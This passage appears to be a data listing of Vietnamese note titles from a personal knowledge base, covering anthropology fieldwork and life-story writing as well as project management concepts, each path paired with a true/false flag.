sâu", + "Nhân học", + "Diễn giải và mô tả", + "❓Việc quan sát tham dự biến việc diễn giải trở thành mô tả" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Diễn giải và mô tả", + "❓Wikipedia là góc nhìn thượng đế, nhưng nó lại là cơ chế để tất cả mọi người là đồng tác giả" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Nhân học", "Dân tộc học là nhân học văn hoá" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Dấn thân, quan sát và ghi chép là những chỉ báo cho thấy mức độ hoà nhập" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Dữ liệu nhỏ cũng có tính dự báo xu hướng giống như dữ liệu lớn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Nhà nghiên cứu điền dã không thể và không nên cố tỏ ra chỉ là con ruồi đậu trên bức tường" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Nhân học cho ta cái nhìn sơ lược về những khả thể khác của con người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Nhân học chỉ chú trọng đến việc nói rằng bạn có thể khác biệt, rằng bạn còn có thể là người khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Nhân học là triết học trong xã hội" +] + +🚀: true +[ "", "⚡Hiểu biết sâu", "Nhân học" ] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Nhân học", "Nhật ký điền dã" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Quan sát tham dự", + "Hoạt động trải nghiệm là việc tận dụng những gợi ý manh mối, dấu vết, cử chỉ, và cảm quan trước khi phát triển những diễn giải ổn định" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Quan sát tham dự", + "Quan sát tham dự cho nhà nghiên cứu uy quyền về trải nghiệm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Quan sát tham dự", + "Quan sát tham dự không phải là khai thác thông tin" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Quan sát tham dự", + "Quan sát tham dự là sự kết hợp giữa trải nghiệm cá nhân với cường độ cao và phân tích khoa học" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Quan sát tham dự", + "Quan sát tham dự đời sống xã hội chính là một quá trình thay đổi toàn bộ con người mình để trở thành thành viên của cộng đồng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Quan sát tham dự", + "Sự sáng tạo mang tính trải nghiệm là một sản phẩm mang tính chủ quan, chứ không mang tính liên chủ thể hay dựa trên sự đối thoại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Quan sát tham dự", + "❓Nhà nghiên cứu khi điền dã thì cũng đã có một mục tiêu nghiên cứu nào đó rồi. Nếu không phải khai thác thông tin thì sẽ không hoàn thành công việc được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Quan sát tham dự", + "❓Quan sát tham dự có yêu cầu họ tập trung nói về một chủ đề nào đó không" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Nhân học", "Quan điểm của các cá nhân" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Quá trình nghiên cứu nói chung là một sự thương thảo diễn ra liên tục" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Topic modelling trong NLP dùng cho máy và cần tập dữ liệu lớn. Còn thematic analysis trong nhân học thì dành cho người, nhấn mạnh vào yếu tố thị giác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Cho độc giả xem, không kể lại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Cái quan trọng của câu chuyện là tinh thần, thông điệp và sự kiện. Còn ngôn từ, cách biểu đạt chỉ là thứ cấp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Câu chuyện cuộc đời có khả năng bị cảm xúc của nhân vật chi phối câu chuyện" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Kết nối dòng chảy cuộc đời của nhân vật với quãng đường xã hội" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Một người trung niên kể về thời họ 6 tuổi khác với đứa bé 6 tuổi đó kể về mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Những đau buồn của nhân vật tạo ra tình tiết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Niên biểu là để lên kế hoạch và nhớ các từ khoá quan trọng, còn khi viết chuyện thì viết theo từ khoá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Ta có thể hư cấu nội tâm nhân vật dựa trên dữ liệu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Việc chọn chủ đề phụ thuộc vào niên biểu và thông điệp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Việc hỏi quan điểm có thể gặp việc tránh né, hoặc câu trả lời bị theo tư duy của họ, hoặc không tạo đủ chất liệu cho việc kể chuyện" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "Điểm nhìn ngôi thứ nhất không hoá thân được vào các không gian, nhưng suy tư được vào chính thế giới nội tâm của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "❓Mình có nhất thiết phải không thể hiện quan điểm của mình về nhân vật không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "❓Ngôi thứ ba thực ra vẫn chỉ là ngôi thứ nhất mà thôi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Viết câu chuyện cuộc đời", + "❓Nếu đã xuất bản rồi mà nhân vật muốn rút lại thì làm sao" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Chỉ cần ghi những thứ để mình nhớ, và để người khác nhặt được cũng không hiểu gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Các bước thực hiện điền dã" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Hãy cài cắm các chi tiết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Hãy tham gia như một phần của cộng đồng chứ không phải thúc đẩy cộng đồng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Muốn cấu trúc hoá bối cảnh thì cần phải có tiêu điểm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Nhà nghiên cứu luôn trong tâm thế có thể sẽ rời đi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Nếu không tuân thủ việc không tác động dù chỉ là lời khuyên, thì cái kết quả nghiên cứu cũng có thể là cái mà mình tạo ra" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Quá trình điền dã từ đầu đến cuối luôn bị chi phối bởi việc viết lách" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Quá tập trung vào tình tiết mà bỏ qua bối cảnh thì sẽ thành góc nhìn thượng đế" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "Trình thuật cuộc đời, câu chuyện cuộc đời, tiểu sử là giống nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Có đưa ghi chú của mình cho người mình nghiên cứu xem" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Khi nào thì họ sẽ nói về những thứ họ thấy xấu hổ hoặc tội lỗi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Môi trường đô thị thì cũng không có điều kiện để làm chung với họ được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Một vài ví dụ hoặc nghiên cứu về sự ra quyết định can thiệp trong khi nghiên cứu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Nghe những gì họ nói thì chỉ là một chiều" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Người ta ngại không muốn từ chối thì mình có tiến tới ko" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Nếu họ bận mình chỉ có thể hẹn họ ra cà phê thì thời gian họ có thể dành cho mình cũng chỉ có thể là 1, 2 tiếng. Như vậy thì cũng đâu khác gì phỏng vấn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Nếu trước khi xin làm nghiên cứu mình họ đã có sự không thoải mái với mình rồi thì sao" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Quá trình xây dựng sự tin tưởng như thế nào, khi mình không có cơ hội để làm giống như họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Sau khi nghiên cứu xong thì giúp đỡ, tác động cũng được mà" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Trường hợp va chạm thói quen, văn hoá, lối sống mà mình không biết nhưng cũng đủ gây ra sự khó chịu ở họ thì sao" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "Điền dã", + "❓Để một quan sát có chất lượng thì cần bao nhiêu thời gian ở cùng cộng đồng" +] + +🚀: false +[ "", "⚡Hiểu biết sâu", "Nhân học", "Đối thoại thay vì phỏng vấn" ] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "❓Khi nào thì một người sẽ cởi mở và thoải mái nói về những thứ họ không muốn nói" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Nhân học", + "❓Nhân văn chỉ quan tâm đến việc lưu trữ, hiểu dữ liệu và tạo ra câu chuyện hay" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Agile dành cho sản phẩm thay đổi nhanh, và tập trung vào tốc độ và sự linh hoạt. Lean dành cho sản phẩm thay đổi chậm, và tập trung vào việc giảm lãng phí" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Các công việc trong một dự án chủ yếu là các công việc khai phá. Các công việc trong một chiến dịch chủ yếu là các công việc khai thác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Công việc chính là giải pháp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Công việc khai phá chính là quản lý kiến thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Công việc khai phá và công việc khai thác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Công việc sẽ được gắn ở khắp nơi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Công việc và cuộc sống không thể tách rời nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Dự án chủ yếu là các công việc khám phá. Chương trình chủ yếu là các công việc khai phá" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Insight through making" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Quản lý cuộc sống chính là quản lý dự án" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sau 2 tuần nên cập nhật những cái mới" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Bảng quan trọng – khẩn cấp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Bỏ công đi học lập trình thì không đáng, nhưng không biết thì sẽ rất lệ thuộc vào người khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Có người giới thiệu về vấn đề có lẽ là cách duy nhất để làm được những thứ mình muốn làm nhưng không khẩn cấp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Có những cái ta cần làm trước khi ta thấy cần làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Có những thứ ta biết là cần thiết nhưng không thể thấy thú vị nổi, thậm chí không thể đồng cảm nổi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Lý do mọi người hay gặp nước đến chân mới nhảy, không giải quyết chuyện quan trọng khi vấn đề còn nhỏ là vì ta không có đầu óc để nghĩ đến nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Muốn thấy được những vấn đề lớn cần sự thong thả" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Nhiều khi không chịu đi bán vì việc code tiếp sẽ có lợi hơn khi sản phẩm rồi sẽ cần phải code tiếp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Số lượng vấn đề tìm ra trong 1 buổi có thể nhiều hơn số lượng vấn đề có thể giải quyết trong 1 tháng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Việc nghĩ về sản phẩm lôi cuốn hơn việc nghĩ về thành quả rất nhiều" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Vấn đề ngắn hạn hay dài hạn không quan trọng, quan trọng là làm cái này mà phải nghĩ về cái khác thì sẽ nhức đầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Ý tưởng sinh ra không theo độ khẩn cấp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sắp xếp độ ưu tiên", + "Điều quan trọng thì thường hiếm khi khẩn cấp, và điều khẩn cấp thì thường hiếm khi quan trọng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Sự khám phá thực ra chỉ là lấy mẫu chứ không phải khám phá kiến thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Ta không lường trước được những công việc mình cần làm là gì trừ phi ta đã từng làm nó rồi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả mong muốn và giả định của một công việc tìm hiểu một vấn đề nào đó là chính nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Các cấp trong tổ chức nên nói chuyện với nhau bằng thành quả" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Dự án là sản phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Giải pháp gợi ý chính là thành phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Mọi thành quả mong muốn đều chứa trong mình những giả định" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Một sản phẩm được tạo nên bởi nhiều thành phẩm. Thứ ta gọi là sản phẩm thành phần, hoặc sản phẩm nhỏ hơn, chính là thành phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Một số thành phẩm sẽ có những thành quả mong muốn bên trong nó, nhưng thường chỉ là thành phẩm nhỏ hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Sản phẩm là kết quả của các công việc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Sản phẩm là sự bồi tụ của các dòng hải lưu nhu cầu và kết tinh của kiến thức" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Sản phẩm là vùng đất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Sản phẩm là vật thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Thành phẩm (output) là các kết quả trực tiếp của các công việc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Thành quả (outcome) là kết quả thu được do sự thay đổi về hành vi của người dùng khi tương tác với sản phẩm đã được cải tiến (hoặc sản phẩm mới)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Thành quả quan trọng hơn thành phẩm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Tiêu đề của thành quả mong muốn bắt đầu bằng người dùng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Tầm nhìn = thành quả lớn nhất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Tầm nhìn là thứ mình muốn có. Sứ mệnh là thứ mình sẽ làm. Sản phẩm là thứ mình tạo ra" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Tầm nhìn là điều mình sẽ có khi tất cả mọi hoạt động của mình đều thành công" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Working on niche, personally-meaningful projects brings weirder, more serendipitous inbounds" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "Đổi những câu hỏi chất vấn giả định của một thành quả về dạng khẳng định thì ta sẽ có những thành quả mong muốn thành phần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "❓Một object khi chưa tồn tại mà ta muốn có nó thì nó là objective" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "❓Nhu cầu = impact = vấn đề = điểm đau = động lực = lý do bắt đầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "❓Tại sao không gọi thẳng là kết quả từ sự thay đổi hành vi của người dùng?Dùng thành quả dễ gây nhầm lẫn cho người chưa biết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thành quả, thành phẩm, tầm nhìn, mục tiêu", + "❝Mục tiêu❞ và ❝Kết quả❞ là những từ bao trùm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thời gian làm việc", + "Chỉ có thể ước lượng được thời gian cần có để hoàn thành khi công việc của ta gần như chỉ gồm công việc khai thác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thời gian làm việc", + "Cây quyết định và PERT dành cho những dự án chủ yếu gồm các công việc khai thác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thời gian làm việc", + "Danh sách công việc chỉ là danh sách chờ. Để một công việc thực sự được tính đến, ta cần để nó vào lịch" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thời gian làm việc", + "Gọi sự chú ý là tài nguyên là không chính xác, vì đa phần ta có thể sống thiếu tài nguyên, còn sự chú ý chính là sự sống" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thời gian làm việc", + "Lên lịch khối thời gian giúp cân bằng sự quan trọng và khẩn cấp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thời gian làm việc", + "Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thời gian làm việc", + "Nếu bạn nghĩ rằng bạn có thể hoàn thành đúng kế hoạch, có thể bạn đang ngộ nhận" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thời gian làm việc", + "Quản lý công việc là quản lý thời gian" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Thời gian làm việc", + "Xong hạn chót này thì sẽ tới hạn chót khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Từ thành quả mong muốn nghĩ ra công việc trước dễ hơn nghĩ ra giả định trước" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Vì tôi không biết làm nên không được giao, nhưng vì không được giao nên càng không biết làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Công việc", + "Áp lực giết chết sự sáng tạo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Các nhóm làm việc qua mạng ngày càng nhiều" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Các tổ chức thường chỉ lưu trữ kiến thức mà ít khi dành nhiều sự chú ý tới kết nối chúng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Cấu trúc", + "Cấu trúc phân cấp thường cứng nhắc và nhân tạo" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Cấu trúc", + "Những gì ta viết thì nên được tự động được cấu trúc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Cấu trúc", + "Việc quản lý công việc thường cần một cấu trúc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Dữ liệu chính là lập trình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Email không được sinh ra để trao đổi thông tin, mà là để làm todo list" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Ghi chú thì linh hoạt, nhưng tĩnh. App thì cứng nhắc, nhưng động" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Hình thức lưu trữ", + "CRM tập trung vào tăng sale, ERP tập trung vào cắt giảm chi phí" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức", + "Hệ thống thông tin", + "Hình thức lưu trữ", + "Dữ liệu dưới dạng văn bản phù hợp cho việc quản lý kiến thức" +] + +🚀: 